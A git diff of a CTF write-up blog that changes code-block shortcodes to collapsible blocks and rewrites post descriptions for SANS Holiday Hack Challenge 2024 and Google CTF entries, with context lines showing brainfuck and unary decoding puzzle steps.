{{< collapsible-block badge="txt" title="encodings" isCollapsed="true" >}}
|
||||
|
||||
```text
|
||||
I made a super secret encoder. I remember using:
|
||||
@@ -64,15 +64,15 @@ I made a super secret encoder. I remember using:
|
||||
I also use gzip and zlib (to compress the stuff) and I like hiding things in files...
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
{{< code language="txt" title="chall.txt" isCollapsed="true" >}}
|
||||
{{< collapsible-block badge="txt" title="chall.txt" isCollapsed="true" >}}
|
||||
|
||||
```txt
|
||||
File is too large to display here.
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
## Recon
|
||||
|
||||
@@ -336,7 +336,7 @@ for line in data:
|
||||
print(line)
|
||||
```
|
||||
|
||||
{{< code language="text" title="output" >}}
|
||||
{{< collapsible-block badge="text" title="output" >}}
|
||||
|
||||
```text
|
||||
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
|
||||
@@ -776,7 +776,7 @@ nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
|
||||
nyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyya~
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
### nya~
|
||||
|
||||
@@ -841,43 +841,43 @@ Then, let's follow the steps to convert brainfuck to Unary in reverse.
|
||||
|
||||
1. Remove the leading `1`
|
||||
|
||||
```py
|
||||
unary_code = unary_code[1:]
|
||||
```
|
||||
```py
|
||||
unary_code = unary_code[1:]
|
||||
```
|
||||
|
||||
2. Replace unary with brainfuck
|
||||
|
||||
```py
|
||||
for i in range(0, len(unary_code), 3):
|
||||
operation = unary_code[i:i+3]
|
||||
```py
|
||||
for i in range(0, len(unary_code), 3):
|
||||
operation = unary_code[i:i+3]
|
||||
|
||||
if operation == "000":
|
||||
brainfuck_code += ">"
|
||||
elif operation == "001":
|
||||
brainfuck_code += "<"
|
||||
elif operation == "010":
|
||||
brainfuck_code += "+"
|
||||
elif operation == "011":
|
||||
brainfuck_code += "-"
|
||||
elif operation == "100":
|
||||
brainfuck_code += "."
|
||||
elif operation == "101":
|
||||
brainfuck_code += ","
|
||||
elif operation == "110":
|
||||
brainfuck_code += "["
|
||||
elif operation == "111":
|
||||
brainfuck_code += "]"
|
||||
```
|
||||
if operation == "000":
|
||||
brainfuck_code += ">"
|
||||
elif operation == "001":
|
||||
brainfuck_code += "<"
|
||||
elif operation == "010":
|
||||
brainfuck_code += "+"
|
||||
elif operation == "011":
|
||||
brainfuck_code += "-"
|
||||
elif operation == "100":
|
||||
brainfuck_code += "."
|
||||
elif operation == "101":
|
||||
brainfuck_code += ","
|
||||
elif operation == "110":
|
||||
brainfuck_code += "["
|
||||
elif operation == "111":
|
||||
brainfuck_code += "]"
|
||||
```
|
||||
|
||||
3. Print the result:
|
||||
|
||||
```py
|
||||
print(brainfuck_code)
|
||||
```
|
||||
```py
|
||||
print(brainfuck_code)
|
||||
```
|
||||
|
||||
```bf
|
||||
[-]>[-]<++++++[>++++++++++<-]>+++++++.<+[>++++++++++<-]>+++++++.<+[>----------<-]>----.<+++++[>++++++++++<-]>+++.<+[>----------<-]>-.<[>----------<-]>----.<+++++[>----------<-]>-------.<[>++++++++++<-]>+.<++++++[>++++++++++<-]>+++.<++++++[>----------<-]>----.<++++[>++++++++++<-]>++++.<+[>++++++++++<-]>+++++.<++++++[>----------<-]>--.<++++[>++++++++++<-]>+++++++.<+[>++++++++++<-]>++++.<++++++[>----------<-]>-.<[>++++++++++<-]>++++.<++++++[>++++++++++<-]>++.<+[>++++++++++<-]>+.<
|
||||
```
|
||||
```bf
|
||||
[-]>[-]<++++++[>++++++++++<-]>+++++++.<+[>++++++++++<-]>+++++++.<+[>----------<-]>----.<+++++[>++++++++++<-]>+++.<+[>----------<-]>-.<[>----------<-]>----.<+++++[>----------<-]>-------.<[>++++++++++<-]>+.<++++++[>++++++++++<-]>+++.<++++++[>----------<-]>----.<++++[>++++++++++<-]>++++.<+[>++++++++++<-]>+++++.<++++++[>----------<-]>--.<++++[>++++++++++<-]>+++++++.<+[>++++++++++<-]>++++.<++++++[>----------<-]>-.<[>++++++++++<-]>++++.<++++++[>++++++++++<-]>++.<+[>++++++++++<-]>+.<
|
||||
```
|
||||
|
||||
### Brainfuck
|
||||
|
||||
@@ -903,7 +903,7 @@ CTF{pl34s3_n0_m04r}
|
||||
|
||||
As for most ctf problems, I've written a script that executes all the step automatically and returns the flag.
|
||||
|
||||
{{< code language="py" title="solve.py" isCollapsed="true" >}}
|
||||
{{< collapsible-block badge="py" title="solve.py" isCollapsed="true" >}}
|
||||
|
||||
```py
|
||||
# pip install brainfuck-interpreter
|
||||
@@ -1065,7 +1065,7 @@ flag = brainfuck.evaluate(brainfuck_code)
|
||||
print(flag)
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
## Solution
|
||||
|
||||
|
||||
@@ -42,7 +42,7 @@ Nowak is very impressed by your skills. You and him sit down by a table, and you
|
||||
|
||||
[attachment.zip](/files/writeups/google-ctf/2021/beginners-quest/7/attachment.zip)
|
||||
|
||||
{{< code language="python" title="chall.py" isCollapsed="true" >}}
|
||||
{{< collapsible-block badge="python" title="chall.py" isCollapsed="true" >}}
|
||||
|
||||
```py
|
||||
from Crypto.Util.number import *
|
||||
@@ -63,7 +63,7 @@ print(n)
|
||||
#21034814455172467787319632067588541051616978031477984909593707891829600195022041640200088624987623056713604514239406145871910044808006741636513624835862657042742260288941962019533183418661144639940608960169440421588092324928046033370735375447302576018460809597788053566456538713152022888984084306297869362373871810139948930387868426850576062496427583397660227337178607544043400076287217521751017970956067448273578322298078706011759257235310210160153287198740097954054080553667336498134630979908988858940173520975701311654172499116958019179004876438417238730801165613806576140914402525031242813240005791376093215124477
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
## Recon
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ author = "Maik de Kruif"
|
||||
title = "Curling"
|
||||
subtitle = "Act 1 - SANS Holiday Hack Challenge 2024"
|
||||
date = 2024-11-23T11:44:53+01:00
|
||||
description = "In the fourth challenge of the Holiday Hack Challenge 2024, we'll explore how to use curl using the Linux manpages."
|
||||
description = "In the Curling challenge, we join Bow Ninecandle to learn how to use the curl command for sending web requests. The silver tasks include sending basic requests, handling self-signed certificates, posting data, and more. Afterwards, we use our knowledge to solve extra tasks involving file paths and redirects, completing the challenge for the gold medal!"
|
||||
cover = "img/writeups/holiday-hack-challenge/2024/act1/curling/cover.png"
|
||||
tags = [
|
||||
"Holiday Hack Challenge",
|
||||
|
||||
@@ -3,7 +3,7 @@ author = "Maik de Kruif"
|
||||
title = "Frosty Keypad"
|
||||
subtitle = "Act 1 - SANS Holiday Hack Challenge 2024"
|
||||
date = 2024-11-24T18:23:54+01:00
|
||||
description = "In the fourth challenge of the Holiday Hack Challenge 2024, we'll explore how to use curl using the Linux manpages."
|
||||
description = "In this challenge, we help Morcel Nougat recover a shredded document by decoding clues from a book and using an old-school telephone keypad. After enabling a hidden flashlight, we script a solution to bypass rate limits and crack the final code, solving both the Silver and Gold challenges!"
|
||||
cover = "img/writeups/holiday-hack-challenge/2024/act1/frosty-keypad/cover.png"
|
||||
tags = [
|
||||
"Holiday Hack Challenge",
|
||||
|
||||
@@ -3,7 +3,7 @@ author = "Maik de Kruif"
|
||||
title = "Elf Connect"
|
||||
subtitle = "Prologue - SANS Holiday Hack Challenge 2024"
|
||||
date = 2024-11-21T14:23:34+01:00
|
||||
description = "Let's play our first game of the Holiday Hack Challenge. To win, we'll have to use the DevTools to read some code, and figure out how the scoring mechanism works."
|
||||
description = "In Elf Connect, we help Angel Candysalt solve a word-matching puzzle. After earning the silver medal by finding groups of related words, we dig into the game’s code using DevTools. By analyzing the scoring logic, we bypass the normal gameplay and directly trigger the gold medal with a simple code execution in the browser console!"
|
||||
cover = "img/writeups/holiday-hack-challenge/2024/prologue/elf-connect/cover.png"
|
||||
tags = [
|
||||
"Holiday Hack Challenge",
|
||||
@@ -98,7 +98,7 @@ Object.keys(wordSets).map((round) =>
|
||||
|
||||
This might look a little complicated, so let me explain it for you. We start by looping over `wordSets`, this contains all the words for a specific round. We then look at the correct sets, and map the four indices to the actual word in the list. If we execute this code, we get the following output:
|
||||
|
||||
{{< code language="json" title="Results" isCollapsed="true" >}}
|
||||
{{< collapsible-block badge="json" title="Results" isCollapsed="true" >}}
|
||||
|
||||
```json
|
||||
[
|
||||
@@ -129,7 +129,7 @@ This might look a little complicated, so let me explain it for you. We start by
|
||||
]
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
This just get us the correct answer though, and we'll need more for gold.
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ author = "Maik de Kruif"
|
||||
title = "Elf Minder"
|
||||
subtitle = "Prologue - SANS Holiday Hack Challenge 2024"
|
||||
date = 2024-11-21T15:18:53+01:00
|
||||
description = "On to our second game of the Holiday Hack Challenge. This time we'll have to find some routes."
|
||||
description = "In Elf Minder, we guide an elf through twelve levels of maze-like puzzles. Silver is straightforward; solve the puzzles normally. For gold, we inspect the game’s code with DevTools and find hidden admin controls. By enabling them, we can clear obstacles and draw a path directly to the finish. Alternatively, we manipulate springs to bounce the elf straight to the end. Both methods secure the gold medal!"
|
||||
cover = "img/writeups/holiday-hack-challenge/2024/prologue/elf-minder/cover.png"
|
||||
tags = [
|
||||
"Holiday Hack Challenge",
|
||||
@@ -113,7 +113,7 @@ From the hint given in the conversation with the elf Poinsettia, we got the foll
|
||||
|
||||
A good starting point here would be to first figure out how the springs work.
|
||||
|
||||
{{< code language="js" title="guide.js (getSpringTarget)" isCollapsed="true" >}}
|
||||
{{< collapsible-block badge="js" title="guide.js (getSpringTarget)" isCollapsed="true" >}}
|
||||
|
||||
```js
|
||||
getSpringTarget(springCell) {
|
||||
@@ -157,7 +157,7 @@ getSpringTarget(springCell) {
|
||||
}
|
||||
```
|
||||
|
||||
{{< /code >}}
|
||||
{{< /collapsible-block >}}
|
||||
|
||||
In one of the source files, `guide.js`, there is a function called `getSpringTarget`. This function, as the name suggests, returns the location where the elf should go after encountering a spring.
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ author = "Maik de Kruif"
|
||||
title = "Holiday Hack Orientation"
|
||||
subtitle = "Prologue - SANS Holiday Hack Challenge 2024"
|
||||
date = 2024-11-21T13:46:55+01:00
|
||||
description = "An easy start of the Holiday Hack Challenge 2024."
|
||||
description = "In the Holiday Hack Orientation, we meet Jingle Ringford, who introduces us to the 2024 SANS Holiday Hack Challenge. Our first task is simple; enter the correct answer in the “First Terminal” to unlock the gold medal and begin the adventure!"
|
||||
cover = "img/writeups/holiday-hack-challenge/2024/prologue/orientation/cover.png"
|
||||
tags = [
|
||||
"Holiday Hack Challenge",
|
||||
|
||||
Reference in New Issue
Block a user